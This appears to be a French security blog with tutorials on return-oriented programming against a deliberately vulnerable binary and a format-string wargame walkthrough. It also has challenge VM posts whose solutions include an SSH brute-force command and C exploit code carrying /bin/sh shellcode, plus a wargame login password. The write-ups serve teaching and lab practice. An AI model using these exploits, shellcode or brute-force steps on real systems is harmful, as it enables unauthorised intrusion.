Plastic Soup Taste

Vanilla Dome Wargame

2011-08-23T09:33:00.002+02:00

Hello, Pour ceux qui n'utilisent pas Twitter, j'ai travaillé ces derniers temps sur un petit Wargame, disponible ici:

https://sm0k.org/dojo/vanilla.php

J'espère qu'il vous plaira!

Follow me

2011-01-17T12:49:00.000+01:00

Suivez moi, et surtout, n'haïssez pas:

http://twitter.com/sm0k_

ReChangement de bannière

2010-12-27T11:34:00.000+01:00

Nouvelle bannière par Spl3en!

Merci à lui

ROPoc Part 2

2010-11-09T19:19:00.002+01:00

NB: Ce billet est la suite de mon précédent billet "ROPoc" ; donc, le lire sans avoir lu l'introduction au préalable risque d'être un poil compliqué!

Après avoir lu et étudié l'article que m'a soufflé Mysterie en réponse a mon précédent billet, j'ai décidé d'en reprendre l'exploitation afin d'illustrer un peu mieux la technique présentée.

Je re-cite l'article original : http://divine-protection.com/tc/34 que je trouve, au passage, obscur à souhait, et je ne suis pas le seul.

Un peu de musique au cas ou et parce que je suis fan :

Principe

On désire retrouver l'adresse de system(), et ce dynamiquement.
On dispose d'une section non randomizée (.got) qui contient les adresses des fonctions utilisées par notre programme.
On sait que même si la libc est chargée aléatoirement en mémoire, elle est toujours chargée d'un bloc.

Donc on peut utiliser une entrée de la GOT pour déterminer précisément l'adresse effective de n'importe quelle fonction de la libc a partir d'offsets préalablement calculés.

Illustrons un peu ca:

sm0k@wiid ~ $ objdump -x poc | grep got
20 .got 00000004 08049ff0 08049ff0 00000ff0 2**2
21 .got.plt 00000028 08049ff4 08049ff4 00000ff4 2**2
08049ff0 l d .got 00000000 .got
08049ff4 l d .got.plt 00000000 .got.plt
08049ff4 l O .got.plt 00000000 .hidden _GLOBAL_OFFSET_TABLE_

On repère où démarre la section .got : 08049ff0

Regardons maintenant ce qu'elle contient pendant l'exécution de notre programme.

On pose pour cela un point d'arrêt sur le 'ret' de main, puis on lance le programme et on observe la GOT:

(gdb) b *main+361
Breakpoint 1 at 0x8048683
(gdb) r s
Starting program: /home/sm0k/poc s
[...]
Breakpoint 1, 0x08048683 in main ()
(gdb) x/20x 0x08049ff0
0x8049ff0: 0x00000000 0x08049f20 0xb7fff8e0 0xb7ff5e50
0x804a000 <_global_offset_table_+12> : 0x08048392 0xb7ef1fa0 0xb7f0b580 0xb7eacad0
0x804a010 <_global_offset_table_+28>: 0xb7ec19e0 0xb7ef2260 0xb7edcff0 0x00000000

(gdb) x/i 0xb7ef1fa0
0xb7ef1fa0 <fgets>: push %ebp
(gdb) x/i 0xb7ec19e0
0xb7ec19e0 <atoll>: push %ebp
[...]

On voit donc que les adresses des fonctions utilisées par notre programme sont chargées dans la GOT à l'exécution....

Regardons maintenant où est chargé system() :

(gdb) x/i system
0xb7ecd520 <system>: sub $0xc,%esp

System() commence donc à l'adresse 0xb7ecd520. Et à 0xb7ec19e0 nous avons atoll(), son adresse est stockée à l'adresse 0x804a010, de la GOT.

Pour les habitués du C, nous pouvons considérer que 0x804a010 contient un pointeur vers la fonction atoll().

Nous pouvons donc en déduire que system() se situe à (0xb7ecd520 - 0xb7ec19e0)=0xbb40 (47 936 b10) bits de atoll().

Comme nous connaissons le pointeur où est stockée l'adresse de atoll(), à savoir 0x804a010, nous pouvons dire que:

adresse de system() = (Valeur contenue à l'adresse 0x804a010) + 47 936

Nous pouvons donc dynamiquement localiser system() !

Mise en pratique

C'est bien beau tout ça mais comment peut on s'en servir?

C'est là que l'article proposé par Mysterie m'a bien aidé!

L'instruction du type add registre1 [registre2-valeur] nous sauve la vie, mais regardons le shellcode qu'on va utiliser en détail afin de comprendre pourquoi:

(Je tiens à préciser que les gadgets utilisés ici ne sont peut être pas visibles dans la sortie générée par ROPEME dans mon précédent article. Ceux ci sont toujours générés par le même script mais avec une longueur maximale de 6 instructions par gadgets.)

0x8048446L: pop eax | pop ebx | leave ||
47936
328114200
; pop eax | pop ebx: On récupère eax puis ebx sur la pile
; 47936: Valeur que prendra eax (à savoir l'offset qu'on
vient de calculer)
; 328114200: Valeur que prendra ebx 
; et la vous devez vous dire "Waw ca sort d'ou ca?"
; Cette valeur résulte en fait du calcul suivant :
; ( 0x804A010 + 0xb8a0008 )=328114200.
; 0x804A010 étant notre pointeur sur atoll() dans la got
; et 0xb8a0008 la valeur ajoutée au pointeur ebx dans
; l'instruction qui va suivre:

0x804871eL: add eax [ebx-0xb8a0008] | add esp 0x4
| pop ebx | pop ebp ||
; La premiere instruction ajoute à eax la valeur pointée par 
; ebx+0xb8a0008 DONC comme eax =0xbb40 (47936 b10)
; et que [ebx-0xb8a0008]= 0x804A010 ALORS
; eax = [0x804A010] + 0xbb40 = 0xb7ecd520 = @system() :)
; NB: les crochets représentent la notion de pointeur en
; assembleur

0x80484cfL: call eax | leave ||
0x8048174
; On saute sur eax, et donc system()
; 0x8048174: Adresse de la chaine "GNU"

Notre "exploit" final :

134513734
1035
47936
1036
328114200
1037
134514462
1067
134513871
1071
134513012
1072

Afin de le tester, créons tout d'abord notre wrapper:

sm0k@wiid ~ $ echo -e "echo \"ROP rules\!\"\n/bin/sh" > GNU && chmod +x GNU && export PATH=/home/sm0k:$PATH

Et grand moment, testons cette nouvelle version de notre exploit :

sm0k@wiid ~ $ ./poc s

Will Write 134513734(8048446) at Offset 1035
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e1c

Will Write 47936(bb40) at Offset 1036
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e20

Will Write 328114200(138ea018) at Offset 1037
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e24

Will Write 134514462(804871e) at Offset 1067
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e9c

Will Write 134513871(80484cf) at Offset 1071
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6eac

Will Write 134513012(8048174) at Offset 1072
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6eb0
ROP rules\!
sh-4.1$

L'exploit fonctionne à tous les coups!

ROPoc

2010-11-03T21:25:00.001+01:00

Hola! Ca fesait un moment que j'étais pas venu faire un truc ici :]

J'avais envie de faire un mini introduction au Return Oriented Programming:

Considérons le code suivant :

#include <stdio.h>

void insert(int offset,int value,int * tab)
{
printf("Tab Address : %p\n",tab);
printf("WAdress     :%p\n",tab+offset);
tab[offset]=value;
}

int main(int argc, char ** argv)
{
if(argc<2)
{
printf("\t Usage:%s <file>\n",argv[0]);
}
else
{

FILE * f=0;
int c;
int o;
int tab[1024];
char temp[20];

memset(tab,0,1024*sizeof(int));

f=fopen(argv[1],"r");

if(f!=NULL)
{
while (fgets(temp,20,f))
{

   c=atoll(temp);

   fgets(temp,20,f);

   o=atoll(temp);

   if(c!=0 && o!=0)
   {
       printf("\nWill Write %i(%x) \
                    at Offset %i\n",c,c,o);

       insert(o,c,tab);
   }
}
}
}
return 0;
}

Le binaire est disponible ici : http://repo.zenk-security.com/sm0k/Trash/poc

Aucune option de compilation n'est ajoutée, le noyau utilisé est le suivant:

wiid sm0k # uname -r
2.6.34-gentoo-r6

On utilise checksec.sh pour connaitre les mitigations activées :

sm0k@wiid ~ $ ./checksec.sh --file poc
RELRO STACK CANARY NX PIE FILE
Partial RELRO No canary found NX enabled No PIE poc

L'ASLR est activé, la GOT n'est potentiellement pas inscriptible (RELRO), le SSP n'est pas utilisé (nous aurions pu l'activer, cela n'aurait posé aucun problème pour l'exploitation qui va suivre), la pile n'est pas exécutable (exploitation par shellcode impossible), et enfin la section .text est fixe en mémoire (PIE désactivé).

Nous allons donc bypasser ASLR, NX Bit, RELRO, et SSP, tout ca a la fois :p

Le programme lit le fichier dont le nom est passé en argument ligne par ligne et stocke la représentation entière de la valeur en ligne 1 a la position x du tableau tab, x étant la valeur de la ligne 2.

Le programme boucle jusqu'à ce qu'il n'y ai plus de lignes dans le fichier.

On est ici clairement face à un débordement de tampon classique, qui de plus nous permet de bypasser le SSP puisqu'on peut réécrire saved eip sans écraser le canary.

Pour ceux qui ne l'avaient pas encore repéré la vulnérabilité est la :

tab[offset]=value;

Il aurait fallu vérifier que la valeur d'offset ne dépasse pas (taille tableau -1) à savoir 1023.

Débugguons

On pose un point d'arret au début de main, ainsi on sait facilement ou est stocké Saved EIP sur la pile (Attention on travaille avec des adresse réelles pour les calculs tant qu'on reste dans la meme instance de gdb, si on le redémarre il faudra tout recommencer.)

sm0k@wiid ~ $ gdb poc

(gdb) b *main+0
Breakpoint 1 at 0x804851a
(gdb) run
Starting program: /home/sm0k/poc

Breakpoint 1, 0x0804851a in main ()
(gdb) x/x $esp
0xbffff42c: 0xb7eacbb6

L'adresse du buffer qu'on controle, ici le tableau tab nous est donnée par le programme, mais on aurait pu la déterminer facilement en regardant les arguments passés a insert(): 0xbfffe460

On va maintenant calculer le décalage entre le début de tab et Saved EIP sur la pile :

donc 0xbffff42c - 0xbfffe460 = 0x102c = 4140

Etant donné qu'on travaille avec des int, on divise par 4 : 4140/4 = 1035

Il est donc possible de rediriger le flux d'instruction du programme en écrasant Saved EIP en écrivant à tab[1035]. W00t! :)

On va donc essayer de réécrire saved eip par 0x41414141 (1094795585 base 10), ce qui nous donne le fichier suivant:
(Souvenez vous, la première ligne contient la valeur à écrire et la seconde son offset par rapport a tab)

sm0k@wiid ~ $ cat t
1094795585
1035

On test :

(gdb) r t
Starting program: /root/poc t

Will Write 1094795585(41414141) at Offset 1035
Tab Address : 0xbfffe460
WAdress :0xbffff48c

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

Bingo!

Bon on va voir comment exploiter ca maintenant...

On prend déja les infos nécessaires :

sm0k@wiid ~ $ cat /proc/self/maps
08048000-08051000 r-xp 00000000 08:03 444485 /bin/cat
08051000-08052000 r--p 00008000 08:03 444485 /bin/cat
08052000-08053000 rw-p 00009000 08:03 444485 /bin/cat
08053000-08074000 rw-p 00000000 00:00 0 [heap]
b759c000-b759d000 rw-p 00000000 00:00 0
b759d000-b76dd000 r-xp 00000000 08:03 412168 /lib/libc-2.11.2.so
b76dd000-b76df000 r--p 0013f000 08:03 412168 /lib/libc-2.11.2.so
b76df000-b76e0000 rw-p 00141000 08:03 412168 /lib/libc-2.11.2.so
b76e0000-b76e3000 rw-p 00000000 00:00 0
b76e7000-b76e8000 rw-p 00000000 00:00 0
b76e8000-b76e9000 r-xp 00000000 00:00 0 [vdso]
b76e9000-b7705000 r-xp 00000000 08:03 412117 /lib/ld-2.11.2.so
b7705000-b7706000 r--p 0001b000 08:03 412117 /lib/ld-2.11.2.so
b7706000-b7707000 rw-p 0001c000 08:03 412117 /lib/ld-2.11.2.so
bfd18000-bfd3a000 rw-p 00000000 00:00 0 [stack]

sm0k@wiid ~ $ cat /proc/self/maps
08048000-08051000 r-xp 00000000 08:03 444485 /bin/cat
08051000-08052000 r--p 00008000 08:03 444485 /bin/cat
08052000-08053000 rw-p 00009000 08:03 444485 /bin/cat
08053000-08074000 rw-p 00000000 00:00 0 [heap]
b7765000-b7766000 rw-p 00000000 00:00 0
b7766000-b78a6000 r-xp 00000000 08:03 412168 /lib/libc-2.11.2.so
b78a6000-b78a8000 r--p 0013f000 08:03 412168 /lib/libc-2.11.2.so
b78a8000-b78a9000 rw-p 00141000 08:03 412168 /lib/libc-2.11.2.so
b78a9000-b78ac000 rw-p 00000000 00:00 0
b78b0000-b78b1000 rw-p 00000000 00:00 0
b78b1000-b78b2000 r-xp 00000000 00:00 0 [vdso]
b78b2000-b78ce000 r-xp 00000000 08:03 412117 /lib/ld-2.11.2.so
b78ce000-b78cf000 r--p 0001b000 08:03 412117 /lib/ld-2.11.2.so
b78cf000-b78d0000 rw-p 0001c000 08:03 412117 /lib/ld-2.11.2.so
bfe35000-bfe57000 rw-p 00000000 00:00 0 [stack]

l'ASLR est bien activé partout(on peut le voir car les adresses 'bougent' d'une fois sur l'autre) sauf sur les sections .text et heap (le tas).
La pile n'est pas executable (Flag x non présent).

Bon ca nous facilite pas la tache comme vous pouvez le constater :)

Il reste une solution : le Return Oriented Programming.

Le principe est de rechercher dans les sections exécutables (et non touchées par l'ASLR) des "gadgets", qui sont en fait des petites portions de code directement suivies par un ret (ce qui nous permettra donc d'enchainer les gadgets).

On utilisera ensuite ces gadgets pour constituer une sorte de shellcode.

Dans la pratique, notre chaine d'exploitation ne contiendra que les adresses de nos gadgets, et donc pas d'opcodes (IDS-Safe ?! :D )

On va utiliser l'outil ROPEME pour ca:

ROPeMe> generate /home/sm0k/poc
Generating gadgets for /home/sm0k/poc with backward depth=3
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 66 gadgets
Dumping asm gadgets to file: poc.ggt ...
OK

ROPeMe> load poc.ggt
Loading asm gadgets from file: poc.ggt ...
Loaded 66 gadgets
ELF base address: 0x8048000
OK

Et voila nos gadgets :

ROPeMe> search %
Searching for ROP gadget:  % with constraints: []
0x8048512L: adc [ebx+0x10890c55] cl | leave |
0x8048517L: adc cl cl |
0x804867eL: add [eax] al | add [eax] al | leave |
0x804842dL: add [eax] al | add [ebx-0x7f] bl |
0x8048735L: add [eax] al | add [ebx-0x7f] bl |
0x804867fL: add [eax] al | add cl cl |
0x8048373L: add [eax] al | leave |
0x8048680L: add [eax] al | leave |
0x804849eL: add [ebx+0x5d5b04c4] eax |
0x804842fL: add [ebx-0x7f] bl |
0x8048737L: add [ebx-0x7f] bl |
0x80484a1L: add al 0x5b | pop ebp |
0x8048726L: add al 0x5b | pop ebp |
0x804849cL: add al 0x8 | add [ebx+0x5d5b04c4] eax |
0x80484cdL: add al 0x8 | call eax | leave |
0x8048374L: add cl cl |
0x8048681L: add cl cl |
0x8048499L: add eax 0x804a024 | add [ebx+0x5d5b04c4] eax |
0x8048440L: add eax 0xffff42e8 | call far dword [eax+0x5b] | leave |
0x8048372L: add eax [eax] | add cl cl |
0x804849fL: add esp 0x4 | pop ebx | pop ebp |
0x8048724L: add esp 0x4 | pop ebx | pop ebp |
0x804849aL: and al 0xa0 | add al 0x8 | add [ebx+0x5d5b04c4] eax |
>0x80484cfL: call eax | leave |
0x8048445L: call far dword [eax+0x5b] | leave |
0x8048743L: call far dword [ecx+0x5b] | leave |
0x80486f1L: fiadd word [ebx+0x5e5b1cc4] | pop edi | pop ebp |
0x8048511L: inc ebp | adc [ebx+0x10890c55] cl | leave |
0x8048677L: jnz 0x80485a1 | mov eax 0x0 | leave |
0x8048375L: leave |
0x8048448L: leave |
0x80484d1L: leave |
0x8048516L: mov [eax] edx | leave |
0x80484c8L: mov dword [esp] 0x8049f1c | call eax | leave |
0x804867dL: mov eax 0x0 | leave |
0x8048371L: mov eax [ebx] | add [eax] al | leave |
0x8048691L: mov ebp esp | pop ebp |
0x80486faL: mov ebx [esp] |
0x8048513L: mov edx [ebp+0xc] | mov [eax] edx | leave |
0x8048515L: or al 0x89 | adc cl cl |
>0x8048446L: pop eax | pop ebx | leave |
0x80484ceL: or bh bh | ror cl 0x1 |
0x80486f8L: pop ebp | ret | mov ebx [esp] |
0x80484a3L: pop ebp |
0x8048693L: pop ebp |
0x80486f8L: pop ebp |
0x8048447L: pop ebx | leave |
0x8048745L: pop ebx | leave |
0x80484a2L: pop ebx | pop ebp |
0x8048727L: pop ebx | pop ebp |
0x8048744L: pop ecx | pop ebx | leave |
0x80486f7L: pop edi | pop ebp |
0x80486f6L: pop esi | pop edi | pop ebp |
0x8048690L: push ebp | mov ebp esp | pop ebp |
0x8048514L: push ebp | or al 0x89 | adc cl cl |
0x80486f9L: ret | mov ebx [esp] |
0x80484d0L: ror cl 0x1 |
0x80486fbL: sbb al 0x24 |

On va maintenant récupérer l'adresse de system() qui va nous servir pour notre "shellcode" :

(gdb) x/x system
0xb7ecd520 : 0x83e58955

Notre "Shellcode" au final :

134513734 ; pop eax ; pop ebx ; leave // on récupere le prochain mot sur la pile donc l'addresse de la fonction system() pour nous. (0x8048446 en base 10)

3085751584 ; @system // L'adresse de system qu'on a récupéré (0xb7ecd520 en base 10)

134513871 ; call eax // On saute sur eax , qui contient l'adresse de system (0x8048446 en base 10)

Et la on test, et tout ne se passe pas très bien. Le problème est rapidement détecté : l'instruction leave (épilogue d'une fonction servant a restituer la pile, dans son état original, a la fonction apellante) réajuste la pile en réinitialisant le pointeur de base de pile (ebp) à la valeure actuelle d'esp (pointeur de pile). L'instruction récupère ensuite la valeur de saved ebp sur la pile, et la dépose dans ebp.

Notre pointeur de pile est donc décalé, et l'exploitation foire, vu que le call eax n'est jamais apellé :(.
Un petit calcul s'impose donc!

Trouvons tout d'abord la valeur vers laquelle pointe la pile après le leave (en débuggant ou par calcul): 0xbffff50c

Calcul de l'offset à utiliser pour ècrire à cette adresse: 0xbffff50c - 0xbfffe460 = 4268/4 = 1067

1067 Sera donc l'offset à utiliser, mettons à jour l'exploit:

134513734
1035
3085751584
1036
134513871
1067 // Notre nouvel offset

Testons à nouveau:

Starting program: /home/sm0k/poc t

Will Write 134513734(8048446) at Offset 1035
Tab Address : 0xbfffe460
WAdress :0xbffff48c

Will Write -1209215712(b7ecd520) at Offset 1036
Tab Address : 0xbfffe460
WAdress :0xbffff490

Will Write 134513871(80484cf) at Offset 1067
Tab Address : 0xbfffe460
WAdress :0xbffff50c
sh: Uåäðì0: command not found

Program received signal SIGSEGV, Segmentation fault.
0x080484d1 in _start ()
(gdb)

ow :] ca fonctionne, donc :)

sh: Uåäðì0: command not found

Comme on n'a pas passé d'argument à system(), il prend ce qu'il trouve en premier sur la pile, ici "Uåäðì0: ".

Bon on peut toujours utiliser le vieux trick qui consiste a créer un wrapper apellé "Uåäðì0 " ... Mais on va quand meme essayer de controler l'input de system()...

On va explorer les section non randomizées et essayer de trouver une chaine...

(gdb) maintenance info sections
Exec file:
`/home/sm0k/poc', file type elf32-i386.
0x8048154->0x8048167 at 0x00000154: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048168->0x8048188 at 0x00000168: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048188->0x80481c0 at 0x00000188: .hash ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80481c0->0x80481e0 at 0x000001c0: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80481e0->0x8048270 at 0x000001e0: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048270->0x80482df at 0x00000270: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80482e0->0x80482f2 at 0x000002e0: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80482f4->0x8048324 at 0x000002f4: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048324->0x804832c at 0x00000324: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804832c->0x8048364 at 0x0000032c: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048364->0x804837b at 0x00000364: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
0x804837c->0x80483fc at 0x0000037c: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
0x8048400->0x804872c at 0x00000400: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
0x804872c->0x8048748 at 0x0000072c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
0x8048748->0x80487a9 at 0x00000748: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80487ac->0x80487b0 at 0x000007ac: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8049f0c->0x8049f14 at 0x00000f0c: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x8049f14->0x8049f1c at 0x00000f14: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x8049f1c->0x8049f20 at 0x00000f1c: .jcr ALLOC LOAD DATA HAS_CONTENTS
0x8049f20->0x8049ff0 at 0x00000f20: .dynamic ALLOC LOAD DATA HAS_CONTENTS
0x8049ff0->0x8049ff4 at 0x00000ff0: .got ALLOC LOAD DATA HAS_CONTENTS
0x8049ff4->0x804a01c at 0x00000ff4: .got.plt ALLOC LOAD DATA HAS_CONTENTS
0x804a01c->0x804a024 at 0x0000101c: .data ALLOC LOAD DATA HAS_CONTENTS
0x804a024->0x804a02c at 0x00001024: .bss ALLOC
0x0000->0x0022 at 0x00001024: .comment READONLY HAS_CONTENTS

Ceci :

0x8048174: "GNU"

sera parfait. On met l'exploit a jour...

134513734
1035
3085751584
1036
134513871
1067
134513012 //Adresse de la chaine "GNU" (0x8048174 en base 10)
1068

On crée un wrapper:

sm0k@wiid ~ $ echo "/bin/sh" > GNU && chmod +x GNU && export PATH=/home/sm0k:$PATH

Et on retest:

Starting program: /home/sm0k/poc t

Will Write 134513734(8048446) at Offset 1035
Tab Address : 0xbfffe400
WAdress :0xbffff42c

Will Write -1209215712(b7ecd520) at Offset 1036
Tab Address : 0xbfffe400
WAdress :0xbffff430

Will Write 134513871(80484cf) at Offset 1067
Tab Address : 0xbfffe400
WAdress :0xbffff4ac

Will Write 134513012(8048174) at Offset 1068
Tab Address : 0xbfffe400
WAdress :0xbffff4b0
sh-4.1$ echo "owi"
owi

Et Poc!

Conclusion

Ici ca reste irréaliste :(. La chaine "GNU" dèja, c'est pas super reliable... Mais sur un programme de plus grande taille on a quand meme des chances de trouver plus pratique.
L'adresse de system() vient de la libc, qui est randomizée :( On pourrait peut être envisager un shellcode qui réécrit la GOT si on avait assez de gadgets? Si le programme était plus grand, on trouverais facilement une alternative à system() dans la section .text qui elle, n'est pas randomizée. C'est aussi possible que cette solution soit dans le programme mais que je l'ai pas vue!!
Eviter les leaves, ou alors en fin de shellcode...

Vos commentaires sont les bienvenus!

Huhu

2010-05-06T08:12:00.000+02:00

Le Crédit Lyonnais :p

VM Zenk Security [Applicative] N°2

2010-04-17T20:03:00.000+02:00

Bonsoir, voici enfin la seconde VM spéciale Zenk!

Vous êtes sensés l'utiliser en tant que black box, c'est à dire l'attaquer de l'extérieur, comme si vous n'y aviez pas accès physiquement.
La VM tourne sous VMWare.

http://www.megaupload.com/?d=4H5Q6RYB

Voila pour les infos:
[root@ZenkApp2 ~]# uname -r
2.6.32-ARCH

L'ASLR est activé, la pile est exécutable, les binaires sont compilés avec l'option -fno-stack-protector

Voici les instructions:

Serveur ssh port 22
- Login : user1
- Pass : user1

Level1
Objectif : Lire le fichier /home/user2/pass
Indice : http://www.milw0rm.com/papers/7

Level2
Objectif : Lire le fichier /home/user3/pass
Indice : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf http://plasticsouptaste.blogspot.com/2010/03/format-string-par-lexemple.html (Han le mec qui se fait de la pub...) http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Level3
Objectif : Lire le fichier /home/user4/pass
Indice : http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Level4
Objectif : Lire le fichier /root/pass
Indice : http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Je rajouterais des indices si besoin est, n'hésitez pas à poser vos questions.

VM Zenk Security [Applicative] N°1

2010-04-08T07:49:00.000+02:00

Bonjour!

Comme certains d'entre vous le savent déjà, je fais partie de la communauté Zenk Security pour laquelle j'ai réalisé une petite VM de challenges applicatifs.

Rien de compliqué, c'est une Debian 3.1 basée sur un kernel 2.4.27.

Elle est disponible ici:

http://rapidshare.com/files/373125517/VMZenk_App1.7z

C'est une VM qui doit être attaquée de l'extérieur (comme si on avait pas d'accès physique à la machine).

Il y a un serveur ssh sur le port 22, et nous connaissons le nom d'un utilisateur: user1 .

Niveau 1
Objectif: Obtenir un accès user1 à la machine
Indice: Nous savons que c'est un mot de passe court composé de caractères seulement.

Niveau 2
Objectif: Obtenir un accès user2 à la machine
Indice: Aucun

Niveau 3
Objectif: Lire le fichier /root/yeah
Indice: Aucun

Et voici donc mes solutions (Attention spoiler:)

Level1:

root@bt:/pentest/passwords/brutessh# ./brutessh.py -h 192.168.0.17 -u user1 -d ../wordlists/darkc0de.lst

Level2

#include <stdio.h>
#include <string.h>

int main(void)
{
int nbnop=109;

char shellcode[] =
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

//Adresses de retour possibles (call *%eax):
// 0x80483bf
// 0x8048523
char retA[]="\xbf\x83\x04\x08";

char data[500];
char sysc[600];

memset(data,0,(sizeof(char))*500);
memset(sysc,0,(sizeof(char))*600);

int i=0;

printf("Prepare sc..\n");

strncat(data,shellcode,500);

printf("Prepare nop..\n");

for(i=0;i<(nbnop);i++)
{
strncat(data,"\x90",500);
}

strncat(data,retA,500);

printf("Prepare new eip..\n");

strncpy(sysc,"/home/user1/1 ",600);
printf("Prepare data..\n");

strncat(sysc,data,500);
printf("Try..\n");

system(sysc);
}

Level3

#include <string.h>

#define FILE_TO_READ "/root/yeah"

int main(void)
{
char junkdata[600];
char sysc[700];

printf("Prepare junkdata..\n");

memset(junkdata,0,(sizeof(char))*600);
memset(junkdata,0x41,(sizeof(char))*520);

strncat(junkdata,FILE_TO_READ,600);

printf("Prepare filename..\n");

strncpy(sysc,"/home/user2/2 ",600);

strncat(sysc,junkdata,700);

printf("Try..\n");

system(sysc);
}

Format String par l'exemple

2010-03-05T13:08:00.001+01:00

Behemoth level4 [Intruded.net]
behemoth.intruded.net : 10103
user : level4
pass : Shai#N9b

level4@behemoth:~$ cd /wargame/
level4@behemoth:/wargame$ ./level4
Identify yourself: 5m0k3
Welcome, 5m0k3

Voyons si un Bof est possible :

level4@behemoth:/wargame$ (python -c "print 'A'*512") | ./level4
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
level4@behemoth:/wargame$

Non... Peut etre une format string?

level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x'") | ./level4
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c

Ok, regardons donc le binaire de plus près...

level4@behemoth:/wargame$ gdb level4

0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp
0x080483f7 <main+3>:    sub    $0xe8,%esp
0x080483fd <main+9>:    and    $0xfffffff0,%esp
0x08048400 <main+12>:   mov    $0x0,%eax
0x08048405 <main+17>:   add    $0xf,%eax
0x08048408 <main+20>:   add    $0xf,%eax
0x0804840b <main+23>:   shr    $0x4,%eax
0x0804840e <main+26>:   shl    $0x4,%eax
0x08048411 <main+29>:   sub    %eax,%esp
0x08048413 <main+31>:   movl   $0x3ed,(%esp)
0x0804841a <main+38>:   call   0x80482ec <seteuid@plt>
 ; setuid(1005) : La il nous mache un peu le travail...
0x0804841f <main+43>:   movl   $0x8048568,(%esp)
0x08048426 <main+50>:   call   0x804831c <printf@plt>
  ; printf("Identify yourself:")
0x0804842b <main+55>:   mov    0x8049698,%eax
0x08048430 <main+60>:   mov    %eax,0x8(%esp)
0x08048434 <main+64>:   movl   $0xc8,0x4(%esp)
0x0804843c <main+72>:   lea    0xffffff28(%ebp),%eax
0x08048442 <main+78>:   mov    %eax,(%esp)
0x08048445 <main+81>:   call   0x80482fc <fgets@plt>
   ; fgets() pour saisir le nom
0x0804844a <main+86>:   movl   $0x804857c,(%esp)
0x08048451 <main+93>:   call   0x804831c <printf@plt>
  ; printf("Welcome")
0x08048456 <main+98>:   lea    0xffffff28(%ebp),%eax
0x0804845c <main+104>:  mov    %eax,(%esp)
0x0804845f <main+107>:  call   0x804831c <printf@plt>
  ; printf(nom) <= Format String Vulnerability
0x08048464 <main+112>:  mov    $0x0,%eax
0x08048469 <main+117>:  leave
0x0804846a <main+118>:  ret

On va maintenant explorer un peu la stack pour savoir a partir de quel argument on retombe sur le buffer qu'on controle...
(Je vous invite a lire ceci si arrivé ici rien n'est clair pour vous : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf)

level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'") | ./level4
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c.b7ec3b6e.00000000.00000000.78383025.3830252e.30252e78

On voit donc qu'on atteind notre buffer a partir du 8eme argument (car il contient nos %.08x ...)

Le but sera donc de réécrire un pointeur particulier, pointeur sur une fonction vers laquelle le programme sautera a un moment donné... Tant qu'a faire, autant que cette fonction soit la notre :p.

On décide ici de réécrire le pointeur .dtor => Destructeur de la fonction main(), qui qera logiquement exécuté a la fin du programme. Trouvons tout d'abord son adresse:

level4@behemoth:/wargame$ objdump -x level4|grep dtor
16 .dtors 00000008 08049594 08049594 00000594 2**2
08049594 l d .dtors 00000000 .dtors
08049594 l O .dtors 00000000 __DTOR_LIST__
08048390 l F .text 00000000 __do_global_dtors_aux
08049598 l O .dtors 00000000 __DTOR_END__ ================> ICI :)

Donc il faudra écrire a l'adresse 0x08049598.

Pour faire simple, on va placer un shellcode dans le buffer et sauter dessus.

On va tout d'abord déterminer l'adresse de notre buffer a la sale, ensuite on vérifiera proprement:

level4@behemoth:/wargame$ gdb level4
(...)
(gdb) b *main +118
Breakpoint 1 at 0x804846a

donc on pose un breakpoint juste avant le ret de main()

(gdb) r
Starting program: /wargame/level4
Identify yourself: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0804846a in main ()
(gdb) x/256x $esp-256
